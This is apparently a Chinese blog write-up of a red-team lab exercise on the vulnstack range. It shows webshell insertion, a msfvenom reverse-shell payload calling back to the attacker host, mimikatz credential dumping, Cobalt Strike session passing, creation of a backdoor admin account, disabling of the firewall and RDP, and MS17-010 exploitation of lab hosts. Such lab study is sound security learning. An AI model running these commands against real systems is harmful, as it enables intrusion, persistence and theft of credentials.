ATT&CK实战系列——红队实战(一)
关于内网渗透的学习资源太少了,自己也在恶补这块的知识,文章是看前辈们的文章结合自己的实际操作写的,就当作是笔记吧
一、环境搭建
1.1环境搭建测试
最近想要开始学习内网渗透,搜集了一些教程,准备先实验一个vulnstack靶机,熟悉一下内网渗透操作再学习基础知识。
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
压缩包中的win7为VM1,win2003为VM2,win2008为VM3,拓扑图如下所示:
win7网络适配器1设置成自定义(VMnet1仅主机模式),网络适配器2设置成NAT模式,
win2003、win2008 网络适配器设置成自定义(VMnet1仅主机模式)。
主机默认开机密码都是hongrisec@2019,手动在win7的c盘下开启phpstudy。
设置完毕后VM1、VM2、VM3就在同一内网中了,只有VM1web服务器能够访问内网,所以要想访问win2008和win2003服务器必须要先拿下win7服务器,用它做跳板进内网进行横向渗透。
攻击机:kali ip: 192.168.66.130 / 物理机 ip: 192.168.1.101 / CS server IP : 192.168.66.129
win7 内网ip: 192.168.52.143 外网ip: 192.168.66.128
win2003 ip: 192.168.52.141
win2008 ip: 192.168.52.138
1.2信息收集
nmap扫一下可以看到win7开放了80端口,访问一下得知是是phpstudy搭建,尝试利用phpstudy后门拿shell,利用失败。开启phpstudy时看了下目录,有yxcms,百度下关于yxcms的漏洞,都是需要后台才可以getshell的。这里也可以通过phpmyadmin来getshell。
二、漏洞利用(两种getshell方式)
2.1yxcms后台getshell
打开默认后台 http://192.168.66.128/yxcms/index.php?r=admin/index/login 利用burp爆破,admin 123456 登进后台。
在前台模板->管理模板文件->index_index.php处编辑,插入一句话木马
shell地址为:http://192.168.66.128/yxcms/protected/apps/default/view/default/index_index.php
蚁剑连接即可获得shell(蚁剑不用代理)
2.2phpmyadmin后台getshell
此处过程略过,感兴趣小伙伴可以自己尝试。
三、内网渗透
3.1尝试远程登录
查看当前用户权限,因为一般拿下window的话都会尝试去连接它的远程桌面,所以再查看一下3389端口开放情况
没有回显,即3389并没有开启或者默认端口被改。
使用tasklist /svc
命令查看服务中存在TermService
的PID号,未发现该服务,确定3389端口未开启。
我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1),当然还有其他开3389的方法,随便用哪种:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
由于权限较高,直接使用cmd命令 添加用户
net user ice Aa123456 /add # 添加账户密码
net localgroup administrators ice /add # 给ice账户添加为管理员权限
net user ice # 查询是否成功添加ice用户
使用账号:ice,密码:Aa123456 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
由于这里权限较高,我们可以直接在shell中使用netsh advfirewall set allprofiles state off
命令关闭防火墙
关闭防火墙后利用远程桌面连接服务器即可
3.2msf反弹shell
使用msf反弹一个shell。msf生成shell.exe,用蚁剑上传至win7,再在msf设置监听,在蚁剑上执行shell.exe,可以看到msf成功获得一个meterpreter
15:57 root@iceH:~ $msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.66.130 LPORT=4444 -f exe > shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
3.3mimikatz获取账号密码
加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
ps命令查看进程ID,一般选择explorer.exe对应的PID,但是这里它不是system权限,选择注入其他合法进程。
这一步中我没有成功读出密码 。
3.4派生CobaltStrike权限
先在CS上设置监听
拥有msf shell的攻击机与搭建cobaltstrike的服务端不需要是同一台主机,端口相通即可实现远程派生shell
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true
set lhost xxxx #cobaltstrike监听的ip
set lport 14444 #cobaltstrike监听的端口
set session 1 #这里是当前获得的session的id
exploit
可以看到cs成功接收到shell
3.5域信息收集
渗透测试的本质是信息收集,先记录一些常用命令
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
net localhroup administrators #本机管理员[通常含有域用户]
net user 用户名 /domain #获取指定用户的账户信息
net group /domain #查询域里面的工作组
net group 组名 /domain #查询域中的某工作组
ipconfig /all看到有内网ip,有域
查询域列表
查询同域机器
判断主域
查询域用户
显示当前域中的计算机列表
整理一下信息
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
四、横向移动
4.1添加路由、挂Socks4a代理
添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递
添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
(添加路由一定要在挂代理之前,因为代理需要用到路由功能)
添加内网路由
arp -a查看一下所有接口的当前 ARP 缓存表
设置代理,设置成功后打开其他程序需前加上proxychains
msf exploit(multi/handler) > use auxiliary/server/socks4a
msf auxiliary(server/socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.
[*] Starting the socks4a proxy server
然后打开/etc/proxychains.conf(原始端口是9050,改为我们设置的1080)
测试一下可以成功访问192.168.52.0网段
4.2拿下第二台主机
扫描一下VM2(192.168.52.141)proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141
开放了445端口,所以利用use auxiliary/scanner/smb/smb_version
可以扫描系统版本,扫描结果是win2003
使用ms08-067
打一下,发现打不了
开始尝试ms17-010
,使用auxiliary/scanner/smb/smb_ms17_010
对52这个段进行扫描,发现三台主机都存在漏洞
利用exploit/windows/smb/ms17_010_psexec
对192.168.52.141
进行攻击,发现没办法弹回shell。
发现可以使用auxiliary/admin/smb/ms17_010_command
来执行一些命令且是系统权限。
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command "net user ice Aa123456 /add" #添加用户
exploit #成功执行
set command "net localgroup administrators ice /add" #管理员权限
exploit #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
exploit #成功执行
然后使用proxychains
连接他的3389,proxychains rdesktop 192.168.52.141
4.3拿下域控
pass
本文作者: iceH
本文链接: http://www.secice.cn/p/79decd6
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!